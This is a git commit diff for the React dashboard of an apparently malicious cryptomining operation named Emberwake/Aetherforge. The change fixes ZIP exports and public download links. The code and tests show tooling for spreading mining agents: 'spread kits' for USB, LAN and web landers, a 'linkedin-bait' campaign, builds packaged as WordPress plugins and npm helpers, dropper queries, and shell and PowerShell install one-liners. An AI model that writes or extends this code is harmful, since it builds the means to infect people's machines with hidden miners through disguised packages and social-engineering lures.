Fix Emberwake downloads by appending blob anchors before click.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
ZIP exports and public download links silently failed because blob saves skipped document.body appendChild (unlike Builds DownloadButton) and public links pointed at the command-deck URL instead of same-origin paths.
This commit is contained in:
@@ -322,6 +322,32 @@ describe('api client', () => {
|
|||||||
expect(lastFetch().init.method).toBe('DELETE');
|
expect(lastFetch().init.method).toBe('DELETE');
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('exportSpreadKit POSTs and triggers blob download', async () => {
|
||||||
|
setStoredAuth('user', 'pass');
|
||||||
|
fetchMock.mockResolvedValueOnce(new Response(new Blob(['zip']), { status: 200 }));
|
||||||
|
const appendChildSpy = vi.spyOn(document.body, 'appendChild');
|
||||||
|
const clickMock = vi.fn();
|
||||||
|
vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock);
|
||||||
|
|
||||||
|
await api.exportSpreadKit({
|
||||||
|
build_id: 'build-1',
|
||||||
|
server_url: 'http://localhost:8989',
|
||||||
|
campaign: 'linkedin-bait',
|
||||||
|
});
|
||||||
|
|
||||||
|
const { url, init } = lastFetch();
|
||||||
|
expect(url).toBe('/api/v1/builder/spread-kit-export');
|
||||||
|
expect(init.method).toBe('POST');
|
||||||
|
expectAuthHeaders(init);
|
||||||
|
expect(JSON.parse(init.body as string)).toEqual({
|
||||||
|
build_id: 'build-1',
|
||||||
|
server_url: 'http://localhost:8989',
|
||||||
|
campaign: 'linkedin-bait',
|
||||||
|
});
|
||||||
|
expect(appendChildSpy).toHaveBeenCalled();
|
||||||
|
expect(clickMock).toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
|
||||||
it('getDashboardStats and listBuilds', async () => {
|
it('getDashboardStats and listBuilds', async () => {
|
||||||
fetchMock
|
fetchMock
|
||||||
.mockResolvedValueOnce(
|
.mockResolvedValueOnce(
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes, SubnetAutopsyPacket } from '../types';
|
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes, SubnetAutopsyPacket } from '../types';
|
||||||
import { authHeaders, clearStoredAuth } from './auth';
|
import { authHeaders, clearStoredAuth } from './auth';
|
||||||
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
|
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout, triggerBlobDownload } from './download';
|
||||||
|
|
||||||
const API_BASE = '/api/v1';
|
const API_BASE = '/api/v1';
|
||||||
|
|
||||||
@@ -275,15 +275,7 @@ export const api = {
|
|||||||
DOWNLOAD_TIMEOUT_MS,
|
DOWNLOAD_TIMEOUT_MS,
|
||||||
);
|
);
|
||||||
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
|
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
|
||||||
const blob = await res.blob();
|
triggerBlobDownload(await res.blob(), `agent-${id.slice(0, 8)}.log`);
|
||||||
const url = URL.createObjectURL(blob);
|
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `agent-${id.slice(0, 8)}.log`;
|
|
||||||
document.body.appendChild(a);
|
|
||||||
a.click();
|
|
||||||
document.body.removeChild(a);
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
},
|
},
|
||||||
|
|
||||||
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
|
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
|
||||||
@@ -494,13 +486,10 @@ export const api = {
|
|||||||
});
|
});
|
||||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||||
if (!res.ok) throw new Error(await res.text());
|
if (!res.ok) throw new Error(await res.text());
|
||||||
const blob = await res.blob();
|
triggerBlobDownload(
|
||||||
const url = URL.createObjectURL(blob);
|
await res.blob(),
|
||||||
const a = document.createElement('a');
|
req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip',
|
||||||
a.href = url;
|
);
|
||||||
a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip';
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
},
|
},
|
||||||
|
|
||||||
exportWordPressPlugin: async (req: {
|
exportWordPressPlugin: async (req: {
|
||||||
@@ -516,14 +505,8 @@ export const api = {
|
|||||||
});
|
});
|
||||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||||
if (!res.ok) throw new Error(await res.text());
|
if (!res.ok) throw new Error(await res.text());
|
||||||
const blob = await res.blob();
|
|
||||||
const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site';
|
const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site';
|
||||||
const url = URL.createObjectURL(blob);
|
triggerBlobDownload(await res.blob(), `${slug}-wordpress-plugin.zip`);
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `${slug}-wordpress-plugin.zip`;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
},
|
},
|
||||||
|
|
||||||
exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => {
|
exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => {
|
||||||
@@ -534,14 +517,8 @@ export const api = {
|
|||||||
});
|
});
|
||||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||||
if (!res.ok) throw new Error(await res.text());
|
if (!res.ok) throw new Error(await res.text());
|
||||||
const blob = await res.blob();
|
|
||||||
const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper';
|
const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper';
|
||||||
const url = URL.createObjectURL(blob);
|
triggerBlobDownload(await res.blob(), `${slug}-npm-helper.zip`);
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `${slug}-npm-helper.zip`;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
},
|
},
|
||||||
|
|
||||||
exportSpreadTemplate: async (req: {
|
exportSpreadTemplate: async (req: {
|
||||||
@@ -560,13 +537,7 @@ export const api = {
|
|||||||
});
|
});
|
||||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||||
if (!res.ok) throw new Error(await res.text());
|
if (!res.ok) throw new Error(await res.text());
|
||||||
const blob = await res.blob();
|
triggerBlobDownload(await res.blob(), `aetherforge-${req.template}.zip`);
|
||||||
const url = URL.createObjectURL(blob);
|
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `aetherforge-${req.template}.zip`;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
},
|
},
|
||||||
|
|
||||||
// Path Tracer — WireGuard VPN chain sessions
|
// Path Tracer — WireGuard VPN chain sessions
|
||||||
@@ -669,13 +640,7 @@ export const api = {
|
|||||||
});
|
});
|
||||||
if (res.status === 401) clearStoredAuth({ expired: true });
|
if (res.status === 401) clearStoredAuth({ expired: true });
|
||||||
if (!res.ok) throw new Error(await res.text());
|
if (!res.ok) throw new Error(await res.text());
|
||||||
const blob = await res.blob();
|
triggerBlobDownload(await res.blob(), `aetherforge-${req.template}.zip`);
|
||||||
const url = URL.createObjectURL(blob);
|
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `aetherforge-${req.template}.zip`;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
},
|
},
|
||||||
|
|
||||||
testCloudConnection: (body: { kind: string; endpoint: string; bucket?: string }) =>
|
testCloudConnection: (body: { kind: string; endpoint: string; bucket?: string }) =>
|
||||||
@@ -736,15 +701,9 @@ export const api = {
|
|||||||
const err = await res.text();
|
const err = await res.text();
|
||||||
throw new Error(`Backup failed ${res.status}: ${err}`);
|
throw new Error(`Backup failed ${res.status}: ${err}`);
|
||||||
}
|
}
|
||||||
const blob = await res.blob();
|
|
||||||
const disposition = res.headers.get('Content-Disposition') ?? '';
|
const disposition = res.headers.get('Content-Disposition') ?? '';
|
||||||
const match = disposition.match(/filename="([^"]+)"/);
|
const match = disposition.match(/filename="([^"]+)"/);
|
||||||
const filename = match ? match[1] : 'aetherforge-backup.zip';
|
const filename = match ? match[1] : 'aetherforge-backup.zip';
|
||||||
const url = URL.createObjectURL(blob);
|
triggerBlobDownload(await res.blob(), filename);
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = filename;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -2,9 +2,34 @@
|
|||||||
* @vitest-environment happy-dom
|
* @vitest-environment happy-dom
|
||||||
*/
|
*/
|
||||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||||
import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download';
|
import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout, triggerBlobDownload } from './download';
|
||||||
import { setStoredAuth } from './auth';
|
import { setStoredAuth } from './auth';
|
||||||
|
|
||||||
|
describe('triggerBlobDownload', () => {
|
||||||
|
let clickMock: ReturnType<typeof vi.fn>;
|
||||||
|
let appendChildSpy: ReturnType<typeof vi.spyOn>;
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
clickMock = vi.fn();
|
||||||
|
vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock);
|
||||||
|
appendChildSpy = vi.spyOn(document.body, 'appendChild');
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
vi.restoreAllMocks();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('appends anchor to document body before clicking', () => {
|
||||||
|
triggerBlobDownload(new Blob(['zip']), 'emberwake-test.zip');
|
||||||
|
|
||||||
|
expect(appendChildSpy).toHaveBeenCalled();
|
||||||
|
const anchor = appendChildSpy.mock.calls[0][0] as HTMLAnchorElement;
|
||||||
|
expect(anchor.download).toBe('emberwake-test.zip');
|
||||||
|
expect(clickMock).toHaveBeenCalled();
|
||||||
|
expect(anchor.isConnected).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe('downloadAuthedFile', () => {
|
describe('downloadAuthedFile', () => {
|
||||||
let fetchMock: ReturnType<typeof vi.fn>;
|
let fetchMock: ReturnType<typeof vi.fn>;
|
||||||
let clickMock: ReturnType<typeof vi.fn>;
|
let clickMock: ReturnType<typeof vi.fn>;
|
||||||
|
|||||||
@@ -37,6 +37,19 @@ export async function fetchAuthedWithTimeout(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Save a Blob to the browser Downloads folder (append anchor — required in Chrome/Firefox). */
|
||||||
|
export function triggerBlobDownload(blob: Blob, filename: string): void {
|
||||||
|
const objectUrl = URL.createObjectURL(blob);
|
||||||
|
const a = document.createElement('a');
|
||||||
|
a.href = objectUrl;
|
||||||
|
a.download = filename;
|
||||||
|
a.rel = 'noopener';
|
||||||
|
document.body.appendChild(a);
|
||||||
|
a.click();
|
||||||
|
a.remove();
|
||||||
|
window.setTimeout(() => URL.revokeObjectURL(objectUrl), 0);
|
||||||
|
}
|
||||||
|
|
||||||
/** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
|
/** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
|
||||||
export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> {
|
export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> {
|
||||||
const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
|
const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
|
||||||
@@ -46,14 +59,7 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro
|
|||||||
throw new Error(err || `Download failed (${res.status})`);
|
throw new Error(err || `Download failed (${res.status})`);
|
||||||
}
|
}
|
||||||
const blob = await res.blob();
|
const blob = await res.blob();
|
||||||
const objectUrl = URL.createObjectURL(blob);
|
triggerBlobDownload(blob, filename);
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = objectUrl;
|
|
||||||
a.download = filename;
|
|
||||||
document.body.appendChild(a);
|
|
||||||
a.click();
|
|
||||||
a.remove();
|
|
||||||
URL.revokeObjectURL(objectUrl);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/** Alias used by Forge auto-download and DownloadButton. */
|
/** Alias used by Forge auto-download and DownloadButton. */
|
||||||
|
|||||||
@@ -1,9 +1,10 @@
|
|||||||
/** @vitest-environment happy-dom */
|
/** @vitest-environment happy-dom */
|
||||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||||
import { cleanup, render, screen } from '@testing-library/react';
|
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||||
import userEvent from '@testing-library/user-event';
|
import userEvent from '@testing-library/user-event';
|
||||||
import { MemoryRouter } from 'react-router-dom';
|
import { MemoryRouter } from 'react-router-dom';
|
||||||
import CloudSpreadPanel from './CloudSpreadPanel';
|
import CloudSpreadPanel from './CloudSpreadPanel';
|
||||||
|
import { api } from '../../api/client';
|
||||||
|
|
||||||
vi.mock('../../api/client', () => ({
|
vi.mock('../../api/client', () => ({
|
||||||
api: {
|
api: {
|
||||||
@@ -26,6 +27,28 @@ describe('CloudSpreadPanel', () => {
|
|||||||
expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument();
|
expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('calls exportCloudTemplate when a method download is clicked', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
render(
|
||||||
|
<MemoryRouter>
|
||||||
|
<CloudSpreadPanel serverUrl="https://deck.example" buildId="build-1" campaign="wave-a" />
|
||||||
|
</MemoryRouter>,
|
||||||
|
);
|
||||||
|
const panel = screen.getByTestId('cloud-method-s3-cloudfront');
|
||||||
|
await user.click(panel.querySelector('summary')!);
|
||||||
|
await user.click(screen.getByRole('button', { name: /Download aetherforge-s3-cloudfront\.zip/i }));
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(api.exportCloudTemplate).toHaveBeenCalledWith(
|
||||||
|
expect.objectContaining({
|
||||||
|
template: 's3-cloudfront',
|
||||||
|
server_url: 'https://deck.example',
|
||||||
|
build_id: 'build-1',
|
||||||
|
campaign: 'wave-a',
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
it('shows Crucible cross-link when recon host is entered', async () => {
|
it('shows Crucible cross-link when recon host is entered', async () => {
|
||||||
const user = userEvent.setup();
|
const user = userEvent.setup();
|
||||||
render(
|
render(
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import {
|
|||||||
combinedDropperQuery,
|
combinedDropperQuery,
|
||||||
ps1Oneliner,
|
ps1Oneliner,
|
||||||
shOneliner,
|
shOneliner,
|
||||||
|
publicDownloadPath,
|
||||||
publicDownloadUrl,
|
publicDownloadUrl,
|
||||||
} from './emberwake';
|
} from './emberwake';
|
||||||
|
|
||||||
@@ -24,7 +25,11 @@ describe('emberwake URL helpers', () => {
|
|||||||
expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh');
|
expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('public download URL', () => {
|
it('public download path for same-origin dashboard links', () => {
|
||||||
|
expect(publicDownloadPath('build-1', 'c1')).toBe('/api/v1/public/download/build-1?c=c1');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('public download URL for external sharing', () => {
|
||||||
expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe(
|
expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe(
|
||||||
'http://host/api/v1/public/download/build-1?c=c1',
|
'http://host/api/v1/public/download/build-1?c=c1',
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -38,8 +38,14 @@ export function getUrl(baseUrl: string, query = ''): string {
|
|||||||
return `${baseUrl.replace(/\/$/, '')}/get${query}`;
|
return `${baseUrl.replace(/\/$/, '')}/get${query}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Same-origin path for in-dashboard download links (always hits the current browser host). */
|
||||||
|
export function publicDownloadPath(buildId: string, campaign = ''): string {
|
||||||
|
const q = campaignQuery(campaign);
|
||||||
|
return `/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Full URL for sharing/copy — uses command deck base from campaign setup. */
|
||||||
export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
|
export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
|
||||||
const base = origin.replace(/\/$/, '');
|
const base = origin.replace(/\/$/, '');
|
||||||
const q = campaignQuery(campaign);
|
return `${base}${publicDownloadPath(buildId, campaign)}`;
|
||||||
return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -115,10 +115,33 @@ describe('EmberwakePage', () => {
|
|||||||
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
|
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
|
||||||
await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i }));
|
await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i }));
|
||||||
await waitFor(() => {
|
await waitFor(() => {
|
||||||
expect(exportSpy).toHaveBeenCalled();
|
expect(exportSpy).toHaveBeenCalledWith({
|
||||||
|
build_id: 'build-1',
|
||||||
|
server_url: 'http://192.168.1.5:8080',
|
||||||
|
campaign: 'linkedin-bait',
|
||||||
|
});
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('shows export error when spread kit download fails', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
vi.spyOn(api, 'exportSpreadKit').mockRejectedValueOnce(new Error('no build pinned'));
|
||||||
|
renderEmberwake();
|
||||||
|
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
|
||||||
|
await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i }));
|
||||||
|
expect(await screen.findByRole('alert')).toHaveTextContent('no build pinned');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('uses same-origin path for public download links', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
renderEmberwake();
|
||||||
|
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
|
||||||
|
await user.click(screen.getByText(/Public download links/i));
|
||||||
|
const link = await screen.findByRole('link', { name: /public download/i });
|
||||||
|
expect(link).toHaveAttribute('href', '/api/v1/public/download/build-1?c=linkedin-bait');
|
||||||
|
expect(link).toHaveAttribute('download');
|
||||||
|
});
|
||||||
|
|
||||||
it('auto-selects pinned build A without re-fetch loop', async () => {
|
it('auto-selects pinned build A without re-fetch loop', async () => {
|
||||||
const listSpy = vi.spyOn(api, 'listBuilds');
|
const listSpy = vi.spyOn(api, 'listBuilds');
|
||||||
const warRoomSpy = vi.spyOn(api, 'getWarRoom');
|
const warRoomSpy = vi.spyOn(api, 'getWarRoom');
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
|||||||
import { Link } from 'react-router-dom';
|
import { Link } from 'react-router-dom';
|
||||||
import { api } from '../api/client';
|
import { api } from '../api/client';
|
||||||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||||||
import { publicDownloadUrl } from '../help/emberwake';
|
import { publicDownloadPath, publicDownloadUrl } from '../help/emberwake';
|
||||||
import {
|
import {
|
||||||
EMBERWAKE_TECHNIQUE_LINKS,
|
EMBERWAKE_TECHNIQUE_LINKS,
|
||||||
SPREAD_TECHNIQUES_DOC,
|
SPREAD_TECHNIQUES_DOC,
|
||||||
@@ -64,6 +64,7 @@ export default function EmberwakePage() {
|
|||||||
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
|
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
|
||||||
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
|
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
|
||||||
const [exportBusy, setExportBusy] = useState(false);
|
const [exportBusy, setExportBusy] = useState(false);
|
||||||
|
const [exportError, setExportError] = useState('');
|
||||||
const [siteName, setSiteName] = useState('my-blog');
|
const [siteName, setSiteName] = useState('my-blog');
|
||||||
const [notesBusy, setNotesBusy] = useState(false);
|
const [notesBusy, setNotesBusy] = useState(false);
|
||||||
const [autopsySubnet, setAutopsySubnet] = useState('');
|
const [autopsySubnet, setAutopsySubnet] = useState('');
|
||||||
@@ -217,6 +218,7 @@ export default function EmberwakePage() {
|
|||||||
};
|
};
|
||||||
|
|
||||||
const exportKit = async () => {
|
const exportKit = async () => {
|
||||||
|
setExportError('');
|
||||||
setExportBusy(true);
|
setExportBusy(true);
|
||||||
try {
|
try {
|
||||||
await api.exportSpreadKit({
|
await api.exportSpreadKit({
|
||||||
@@ -224,6 +226,8 @@ export default function EmberwakePage() {
|
|||||||
server_url: serverBase,
|
server_url: serverBase,
|
||||||
campaign,
|
campaign,
|
||||||
});
|
});
|
||||||
|
} catch (e) {
|
||||||
|
setExportError(e instanceof Error ? e.message : 'Spread kit export failed');
|
||||||
} finally {
|
} finally {
|
||||||
setExportBusy(false);
|
setExportBusy(false);
|
||||||
}
|
}
|
||||||
@@ -321,14 +325,17 @@ export default function EmberwakePage() {
|
|||||||
ZIP templates for USB, LAN, or web landers — includes <code>/spread/</code> assets.
|
ZIP templates for USB, LAN, or web landers — includes <code>/spread/</code> assets.
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
<button
|
<div className="emberwake-export-actions">
|
||||||
type="button"
|
<button
|
||||||
className="btn btn-primary"
|
type="button"
|
||||||
disabled={exportBusy || !serverBase}
|
className="btn btn-primary"
|
||||||
onClick={() => void exportKit()}
|
disabled={exportBusy || !serverBase}
|
||||||
>
|
onClick={() => void exportKit()}
|
||||||
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
|
>
|
||||||
</button>
|
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
|
||||||
|
</button>
|
||||||
|
{exportError ? <p className="form-error" role="alert">{exportError}</p> : null}
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
@@ -557,7 +564,7 @@ export default function EmberwakePage() {
|
|||||||
<li key={b.id}>
|
<li key={b.id}>
|
||||||
<strong>{b.worker_name}</strong> ({b.platform})
|
<strong>{b.worker_name}</strong> ({b.platform})
|
||||||
{' — '}
|
{' — '}
|
||||||
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
|
<a href={publicDownloadPath(b.id, campaign)} download>
|
||||||
public download
|
public download
|
||||||
</a>
|
</a>
|
||||||
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
|
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
|
||||||
|
|||||||
Reference in New Issue
Block a user